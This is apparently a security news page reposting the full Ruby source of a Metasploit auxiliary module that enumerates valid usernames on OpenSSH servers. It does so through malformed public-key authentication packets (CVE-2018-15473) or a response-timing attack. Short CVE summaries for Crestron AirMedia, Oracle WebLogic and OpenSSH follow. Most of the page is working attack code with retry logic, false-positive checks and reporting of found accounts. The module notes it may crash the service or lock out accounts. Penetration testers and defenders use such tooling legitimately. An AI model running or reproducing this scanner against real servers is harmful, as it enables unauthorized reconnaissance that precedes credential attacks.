Headline
SSH Username Enumeration
This Metasploit module uses a malformed packet or timing attack to enumerate users on an OpenSSH server. The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST packet using public key authentication (must be enabled) to enumerate users. On some versions of OpenSSH under some configurations, OpenSSH will return a “permission denied” error for an invalid user faster than for a valid user, creating an opportunity for a timing attack to enumerate users. Testing note: invalid users were logged, while valid users were not. YMMV.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SSH include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'SSH Username Enumeration', 'Description' => %q{ This module uses a malformed packet or timing attack to enumerate users on an OpenSSH server. The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST packet using public key authentication (must be enabled) to enumerate users. On some versions of OpenSSH under some configurations, OpenSSH will return a "permission denied" error for an invalid user faster than for a valid user, creating an opportunity for a timing attack to enumerate users. Testing note: invalid users were logged, while valid users were not. YMMV. }, 'Author' => [ 'kenkeiras', # Timing attack 'Dariusz Tytko', # Malformed packet 'Michal Sajdak', # Malformed packet 'Qualys', # Malformed packet 'wvu' # Malformed packet ], 'References' => [ ['CVE', '2003-0190'], ['CVE', '2006-5229'], ['CVE', '2016-6210'], ['CVE', '2018-15473'], ['OSVDB', '32721'], ['BID', '20418'], ['URL', 'https://seclists.org/oss-sec/2018/q3/124'], ['URL', 'https://sekurak.pl/openssh-users-enumeration-cve-2018-15473/'] ], 'License' => MSF_LICENSE, 'Actions' => [ [ 'Malformed Packet', { 'Description' => 'Use a malformed packet', 'Type' => :malformed_packet } ], [ 'Timing Attack', { 'Description' => 'Use a timing attack', 'Type' => :timing_attack } ] ], 'DefaultAction' => 'Malformed Packet', 'Notes' => { 'Stability' => [ CRASH_SERVICE_DOWN # possible that a malformed packet may crash the service ], 'Reliability' => [], 'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS, # timing attack submits a password ] } ) ) register_options( [ Opt::Proxies, Opt::RPORT(22), OptString.new('USERNAME', [false, 'Single username to test (username spray)']), OptPath.new('USER_FILE', [false, 'File containing usernames, one per line']), OptBool.new('DB_ALL_USERS', [false, 'Add all users in the current database to the list', false]), OptInt.new('THRESHOLD', [ true, 'Amount of seconds needed before a user is considered ' \ 'found (timing attack only)', 10 ]), OptBool.new('CHECK_FALSE', [false, 'Check for false positives (random username)', true]) ] ) register_advanced_options( [ OptInt.new('RETRY_NUM', [ true, 'The number of attempts to connect to a SSH server' \ ' for each user', 3 ]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 10 ]), OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false ]) ] ) end def rport datastore['RPORT'] end def retry_num datastore['RETRY_NUM'] end def threshold datastore['THRESHOLD'] end # Returns true if a nonsense username appears active. def check_false_positive(ip) user = Rex::Text.rand_text_alphanumeric(8..32) attempt_user(user, ip) == :success end def check_user(ip, user, port) technique = action['Type'] opts = ssh_client_defaults.merge({ port: port }) # The auth method is converted into a class name for instantiation, # so malformed-packet here becomes MalformedPacket from the mixin case technique when :malformed_packet opts.merge!(auth_methods: ['malformed-packet']) when :timing_attack opts.merge!( auth_methods: ['password', 'keyboard-interactive'], password: rand_pass ) end opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] start_time = Time.new begin ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do Net::SSH.start(ip, user, opts) end rescue Rex::ConnectionError return :connection_error rescue Timeout::Error return :success if technique == :timing_attack rescue Net::SSH::AuthenticationFailed return :fail if technique == :malformed_packet rescue Net::SSH::Exception => e vprint_error("#{e.class}: #{e.message}") end finish_time = Time.new case technique when :malformed_packet return :success if ssh when :timing_attack return :success if (finish_time - start_time > threshold) end :fail end def rand_pass Rex::Text.rand_text_english(64_000..65_000) end def do_report(ip, user, _port) service_data = { address: ip, port: rport, service_name: 'ssh', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: user }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) create_credential_login(login_data) end # Because this isn't using the AuthBrute mixin, we don't have the # usual peer method def peer(rhost = nil) "#{rhost}:#{rport} - SSH -" end def user_list users = [] users << datastore['USERNAME'] unless datastore['USERNAME'].blank? if datastore['USER_FILE'] fail_with(Failure::BadConfig, 'The USER_FILE is not readable') unless File.readable?(datastore['USER_FILE']) users += File.read(datastore['USER_FILE']).split end if datastore['DB_ALL_USERS'] if framework.db.active framework.db.creds(workspace: myworkspace.name).each do |o| users << o.public.username if o.public end else print_warning('No active DB -- The following option will be ignored: DB_ALL_USERS') end end users.uniq end def attempt_user(user, ip) attempt_num = 0 ret = nil while (attempt_num <= retry_num) && (ret.nil? || (ret == :connection_error)) if attempt_num > 0 Rex.sleep(2**attempt_num) vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error") end ret = check_user(ip, user, rport) attempt_num += 1 end ret end def show_result(attempt_result, user, ip) case attempt_result when :success print_good("#{peer(ip)} User '#{user}' found") do_report(ip, user, rport) when :connection_error vprint_error("#{peer(ip)} User '#{user}' could not connect") when :fail vprint_error("#{peer(ip)} User '#{user}' not found") end end def run if user_list.empty? fail_with(Failure::BadConfig, 'Please populate DB_ALL_USERS, USER_FILE, USERNAME') end super end def run_host(ip) print_status("#{peer(ip)} Using #{action.name.downcase} technique") if datastore['CHECK_FALSE'] print_status("#{peer(ip)} Checking for false positives") if check_false_positive(ip) print_error("#{peer(ip)} throws false positive results. Aborting.") return end end users = user_list print_status("#{peer(ip)} Starting scan") users.each { |user| show_result(attempt_user(user, ip), user, ip) } endend
Related news
Insufficient access control vulnerability was discovered in the Crestron AirMedia Windows Application, version 4.3.1.39, in which a user can pause the uninstallation of an executable to gain a SYSTEM level command prompt.
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: WLS Core Components). The supported version that is affected is 10.3.6.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebLogic Server, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle WebLogic Server accessible data as well as unauthorized read access to a subset of Oracle WebLogic Server accessible data. CVSS 3.0 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N).
OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.